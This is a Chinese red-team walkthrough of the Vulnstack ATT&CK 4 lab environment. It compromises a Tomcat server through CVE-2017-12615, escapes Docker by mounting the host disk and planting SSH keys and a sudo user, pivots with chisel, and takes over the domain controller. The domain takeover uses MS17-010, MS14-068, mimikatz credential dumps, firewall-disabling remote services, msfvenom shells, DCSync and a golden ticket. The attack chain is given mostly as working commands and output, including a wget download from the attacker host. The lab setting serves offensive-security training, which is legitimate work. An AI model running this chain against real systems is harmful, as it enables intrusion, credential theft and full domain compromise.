ATT&CK实战系列四

前言

Vulnstack是红日安全团队出品的一个实战环境,本次测试的红日安全 ATT&CK实战系列——红队评估(四)靶场环境,下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

环境搭建

网络拓扑如下:

ATT-CK-2.png

IP如下:

1
2
3
4
kali linux  192.168.150.141
web(ubuntu) 192.168.150.160(外) 192.168.183.128(内)
win7 192.168.183.129
DC(win2008) 192.168.183.130

进入WEB主机,需要手动使用docker开启服务,分别是strtus2-045cve-2017-12615cve-2018-12613
使用docker需要使用sudo否则没有权限使用,开启后情况如下

get shell

我们先用nmap扫一下

1
nmap -sC -sV -oA nmap/vulnstack4 192.168.150.160

扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/nmap# nmap -sC -sV -oA nmap/vulnstack4 192.168.150.160
Failed to open normal output file nmap/vulnstack4.nmap for writing
QUITTING!
root@kali:~/nmap# cd ..
root@kali:~# nmap -sC -sV -oA nmap/vulnstack4 192.168.150.160
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-15 09:40 CST
Nmap scan report for 192.168.150.160
Host is up (0.00035s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 6d:1e:e7:55:ee:d7:2b:22:d7:6b:68:67:df:39:f5:7b (DSA)
| 2048 5e:ca:2c:70:8f:a2:0c:bf:10:d7:26:2b:15:5f:3f:58 (RSA)
| 256 de:b5:6a:a8:24:6a:13:45:cc:87:21:c3:c2:ee:b2:10 (ECDSA)
|_ 256 8e:02:ca:99:6e:c2:eb:8f:0c:5c:bb:c9:b2:f5:06:4d (ED25519)
2002/tcp open http Apache Tomcat 8.5.19
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.19
MAC Address: 00:0C:29:57:73:39 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds

访问http://192.168.150.160:2002/发现是Tomcat

Tomcat

利用CVE-2017-12615直接put一个冰蝎马上去

attck4-3.png

这里有几点需要注意的:

  1. GET请求改为PUT
  2. 上传shell的名称后面需要加上/,比如,/shell.jsp/
  3. 在最后加上要上传的内容,即shell

访问http://192.168.150.160:2002/shell.jspshell已经成功上传

attck4-4.png

使用冰蝎成功连接,是root权限

attck45.png

使用msf

首先搜索一下apache tomcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~# searchsploit apache tomcat
-------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------- ----------------------------------------
AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Execution | exploits/cgi/webapps/35035.txt
Apache 1.3.x + Tomcat 4.0.x/4.1.x mod_jk - Chunked Encoding Denial of Service | exploits/unix/dos/22068.pl
Apache Commons FileUpload and Apache Tomcat - Denial of Service | exploits/multiple/dos/31615.rb
Apache Tomcat (Windows) - 'runtime.getRuntime().exec()' Local Privilege Escalation | exploits/windows/local/7264.txt
......
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal | exploits/unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC) | exploits/multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote C | exploits/jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote C | exploits/windows/webapps/42953.txt
.....

attck47.png

找到一个可用的

1
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote C | exploits/jsp/webapps/42966.py

将payload复制到当前目录

1
2
3
4
5
6
7
root@kali:~# searchsploit -m exploits/jsp/webapps/42966.py
Exploit: Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)
URL: https://www.exploit-db.com/exploits/42966
Path: /usr/share/exploitdb/exploits/jsp/webapps/42966.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /root/42966.py

然后可以使用42966.py脚本

attck48.png

-u参数检测是否存在漏洞

attck49.png

存在漏洞,访问http://192.168.150.160:2002/Poc.jsp看一下

attck410.png

我们就用自带的工具利用漏洞

1
python 42966.py -u http://192.168.150.160:2002/ -p pwn

!attck411.png

可看到成功了,并返回一个shell

然后我们去访问上传的pwn.jsp

attck412.png

在输入框中可执行命令

docker逃逸

参考:docker安全

使用cve-2019-5736实现docker逃逸 EXP

下载后编辑main.go,将命令改为如下反弹shell命令

6

使用go语言编译,得到main文件

通过冰蝎上传main文件,一执行就卡死,于是反弹shellkali
使用冰蝎反弹shellmsf,反弹meterpreter发现进不了shell也无法执行文件,直接反弹shell不能接收

于是使用另外的方式反弹shell,首先使用msf生成一个反弹shell的后门

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.150.141 LPORT=5555 -f raw > shell1.jsp

然后将它通过冰蝎上传到网站根目录/usr/local/tomcat/webapps/ROOT/,执行成功反弹shell,然后运行main

输入框中执行ls /dev,可以看到docker虚拟的硬盘

attck412.png

我们试一下挂载

在根目录创建一个test文件夹,mkdir /test

mount /dev/sda1 /test,看一下是否挂载成功,ls /test

挂载成功

我们查看一下/home

查看隐藏文件,ls -lah /test/home/ubuntu,可以看到.ssh

查看.ssh

接下来我们就利用ssh实现docker逃逸

ssh-keygen -f kali生成私钥

chmod 600 kali,不然用不了

这里我们写一个test.sh脚本,方便执行

1
2
3
4
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo > /test/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl13XtnQ/CEiD7SZLBXR8sbpEb7aXb3CMMpCZabybfg1eXitxiT+V7ypF1v8yjlRVGk7LqVeCD1nGI5d/VaDSW3fqe6fxZBH+8nAuuWbt6oEdkndaDuPgSHBZSkGJDQsePq9WOQ1tNUx7v2Jg7pMuIdd9kTQOVgK4xL2KGxddTwmpJCkv1gNn6Vd99ASWLIRKPNYdLvQ4lGAn6gPz39LBfDXaU8ri93HA75IIzz+7nXETfkx6x82vr0GuEmJBmqRRHxAQo8zAl3XC+X/tkPrSCr4OH26Rt3dQ9EL+eJJI8hSpWxGfC2uvauFQ8Brx+SuSnUAO9RevbAUyQDXyuI8LXu3vJL2Grw2tb9FDsIAEHtHUZ8o4od6xhyWThiv2hrL8nKHXzpuypTZ6WCznP6inYaCOFpChtU01kHptmzBreNy33HveKxMjKd5338dB4zSaIaaNqPKizjoejk7oRBJkuGyqecrwL3ReToj+FM02QnjK1kESpEspMTuOF5m6vwL0= kali@kali' > /test/home/ubuntu/.ssh/authorized_keys
cat /test/home/ubuntu/.ssh/authorized_keys

保存,开启一个http服务,在目标下载

python -m SimpleHTTPServer

在输入框下载

1
wget http://192.168.150.141:8000/test.sh

chmod 777 test.shls -la看一下

执行test.shbash test.sh,成功

kali上用ssh连接一下,并没有什么用,因为我们不知道密码。。。。

那么我们该怎么办呢?可以添加用户,但不能在输入框中添加,否则添加用户到了docker

这里我们可以修改配置文件也可以添加用户

写个脚本

1
2
3
4
5
6
7
8
9
chmod 777 /test/etc/passwd
chmod 777 /test/etc/shadow
chmod 777 /test/etc/sudoers
mkdir /test/home/kali
chmod 777 /test/home/kali
echo 'kali:x:1001:1000:kali,,,:/home/kali:/bin/bash' >> /test/etc/passwd
echo 'kali:$6$dZhS1PQKuhRB3dMq$GVQsHMiD7221rqrnfxGxP6X9Pn271DJ2N299OHzWPoR6SmSQnk7mSK96BP9ZETvqkfFs1HFbMWkxD9kCSX10H1:18397:0:99999:7:::' >> /test/etc/shadow
echo 'kali ALL=(ALL:ALL) ALL' >> /test/etc/sudoers
cat /test/etc/shadow

输入框下载,chomd 777 adduser.sh,执行bash adduser.sh

kali上登录

这里需要注意几点:

  1. ssh -i kali ubuntu@192.168.150.160必须在kali上的kali用户下执行
  2. sudoers文件的权限只能是只读,上面我们改成777,需要把它改成440
  3. sudo -s提升权限到root

横向移动

利用chisel搭建代理

https://xax007.github.io/2019/04/12/pivoting-with-chisel.html

目标机器

1
ubuntu@ubuntu:~$ ./chisel server -p 9001 --socks5

kali

1
root@kali:~# ./chisel client 192.168.150.160:9001 socks

上大杀器metasploit,利用ms17-010,返回meterpreter

attck443.png

信息收集

getuid

1
2
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

ps 查看应用创建的服务

attck424.png

输入shell,进入系统

1
2
3
meterpreter > shell
Process 2108 created.
Channel 1 created.

net view,存在demo

1
2
3
4
5
6
7
C:\Windows\system32>net view /domain
net view /domain
Domain

-------------------------------------------------------------------------------
DEMO
The command completed successfully.

net view /domain:demo查看域内机器

1
2
3
4
5
6
7
8
C:\Windows\system32>net view /domain:demo
net view /domain:demo
Server Name Remark

-------------------------------------------------------------------------------
\\TESTWIN7-PC
\\WIN-ENS2VR5TR3N
The command completed successfully.

net group "domain ontrollers" /domain查看域控

attck425.png

出现这种情况,首先exit退出shell,然后steal_token 进程号 ,再shell进入

attck426.png

域控:\\WIN-ENS2VR5TR3N

wmic computersystem get domain查看完整域名

attck427.png

net group "domain admins" /domain查看域内管理员

attck428.png

net group "domain users" /domain 查看域内用户

attck429.png

nslookup \\WIN-ENS2VR5TR3N 查看域控IP

attck430.png

whoami /all获取用户SID: S-1-5-21-979886063-1111900045-1414766810-1107

attck431.png

域的SID,用户SID去掉最后的-及其后面的,即S-1-5-21-979886063-1111900045-1414766810

信息收集到这就差不多了,当然越详细越好。

抓密码

rev2self提升权限,调用kiwi

attck432.png

creds_all

attck433.png

注意: 因为登录过域成员,所以密码是明文

如果没有登录过,可以用上面的NTLM hash

systeminfo

attck434.png

我们可以利用mss14-068,搜索其补丁号,若没有打补丁,说明漏洞存在

这个靶场做的很贴心,里面有很多工具,若没有,我们可以自己上传

attck435.png

开搞!!!

假如我们想查看域控的C盘根目录dir \\WIN-ENS2VR5TR3N\c$

attck436.png

发现不行,我们要使用MS17-068

1
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

attck437.png

生成了一个票据,用mimikatz导入

attck438.png

再次执行dir \\WIN-ENS2VR5TR3N\c$,成功

attck439.png

远程执行命令

创建关闭防火墙的服务

1
sc \\WIN-ENS2VR5TR3N create ProtectFirewall binpath= "netsh advfirewall set allprofiles state off"

attck440.png

制作反弹shell木马

1
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6001 -f exe-service -o update.exe

上传到域成员douser,查看当前目录pwdupload update.exe

attck445.png

创建反弹shell服务

1
sc \\WIN-ENS2VR5TR3N create Shell binpath= "C:\update.exe"

设置监听,先不执行

attck444.png

执行关闭防火墙的服务

1
sc \\WIN-ENS2VR5TR3N start ProtectFirewall

虽然提示失败了,但是防火墙确实关闭了

attck441.png

执行反弹shell服务

1
sc \\WIN-ENS2VR5TR3N start Shell

attck446.png

开启监听,shell弹回来,拿到域控的shell

attck447.png

接下来,我们可以抓key,构造黄金令牌

load kiwi

1
2
3
4
5
6
7
8
9
10
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.

help可以帮助我们查看command文档

dcsync_ntlm 来还原krbtgthash

1
2
meterpreter > dcsync_ntlm krbtgt
[!] Running as SYSTEM, function will not work.

出现这种情况,我们需要伪造administrator,然后再执行dcsync_ntlm krbtgt

1
2
3
4
5
6
7
8
meterpreter > steal_token 1952
Stolen token with username: DEMO\administrator
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM Hash : 7c4ed692473d4b4344c3ba01c5e6cb63
[+] LM Hash : 4d81a5d6b591f0710e75884e5ef9cba2
[+] SID : S-1-5-21-979886063-1111900045-1414766810-502
[+] RID : 502

golden_ticket_create构造黄金票据

1
2
3
4
5
6
7
8
9
10
meterpreter > golden_ticket_create -d demo.com -u Administrator -s S-1-5-21-979886063-1111900045-1414766810 -k 7c4ed692473d4b4344c3ba01c5e6cb63 -t /home/kali/kali.tck
[+] Golden Kerberos ticket written to /home/kali/kali.tck

参数介绍
-t /home/kali/kali.tck
-d 域名
-u 要伪造的用户
-s 域SID
-k krbtge的ntlm
-t 保存的本地路径

导入黄金票据

1
2
3
eter > kerberos_ticket_use /home/kali/kali.tck
[*] Using Kerberos ticket stored in /home/kali/kali.tck, 1820 bytes ...
[+] Kerberos ticket applied successfully.

查看域控的c盘根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Windows\system32>dir \\WIN-ENS2VR5TR3N\c$
dir \\WIN-ENS2VR5TR3N\c$
Volume in drive \\WIN-ENS2VR5TR3N\c$ has no label.
Volume Serial Number is 702B-0D1B

Directory of \\WIN-ENS2VR5TR3N\c$

2009/07/14 11:20 <DIR> PerfLogs
2020/01/24 13:30 <DIR> Program Files
2020/01/24 13:30 <DIR> Program Files (x86)
2020/05/16 11:39 48,640 update.exe
2019/12/31 11:01 <DIR> Users
2020/01/24 13:33 <DIR> Windows
1 File(s) 48,640 bytes
5 Dir(s) 12,438,585,344 bytes free